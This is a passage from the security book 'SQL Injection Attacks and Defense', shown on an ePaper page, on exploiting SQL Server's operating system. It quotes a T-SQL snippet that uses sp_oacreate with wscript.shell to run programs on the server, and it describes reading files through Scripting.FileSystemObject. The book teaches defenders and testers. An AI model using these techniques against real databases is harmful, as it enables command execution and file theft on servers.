28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

[operating systems]<br />

multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000<br />

Server" /fastdetect<br />

[haroon@hydra squeeza]$ md5sum stolen-net.exe<br />

8f9f01a95318fc4d5a40d4a6534fa76b stolen-net.exe<br />

Exploiting the Operating System • Chapter 6 285<br />

(You can compare the MD5 values to prove that the file transfer worked perfectly, albeit<br />

painfully slowly depending on the !channel you chose.)<br />

In the absence of the bulk insert method, an attacker can accomplish file manipulation<br />

on <strong>SQL</strong> Server through the use of OLE Automation, a technique discussed in Chris Anley’s<br />

paper, “Advanced <strong>SQL</strong> <strong>Injection</strong>.” In Anley’s example, he first used the wscript.shell object<br />

to launch an instance of Notepad on the remote server:<br />

-- wscript.shell example (Chris Anley – chris@ngssoftware.com)<br />

declare @o int<br />

exec sp_oacreate 'wscript.shell', @o out<br />

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'<br />

Of course, this opens the opportunity for an attacker to use any ActiveX control, which<br />

creates a wealth of attacking opportunities. The file system object provides an attacker with<br />

a relatively simple method to read files in the absence of bulk insert. Figure 6.11 shows the<br />

(ab)use of the Scripting.FileSystemObject within <strong>SQL</strong> Query Analyzer.<br />

Figure 6.11 Browsing the File System Using scripting.filesystemobject

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!